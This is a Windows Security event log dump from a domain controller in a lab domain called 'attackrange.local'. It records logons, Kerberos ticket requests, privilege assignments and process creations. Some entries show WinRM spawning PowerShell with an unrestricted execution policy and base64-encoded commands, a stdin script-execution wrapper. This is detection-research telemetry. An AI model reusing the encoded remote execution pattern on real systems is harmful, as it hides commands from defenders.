Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251640
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdac
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x105c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251639
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x105c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10ec
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251638
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13D166

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251637
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13D166
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251636
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251635
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251634
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251633
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x124c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251632
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13893A

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed8
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251631
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF50

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251630
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF50
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251629
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251628
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B867D44C-3D18-6F15-A9F7-284F6AF774D8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251627
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:48 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251626
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x13CF34

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:48 PM
LogName=Security
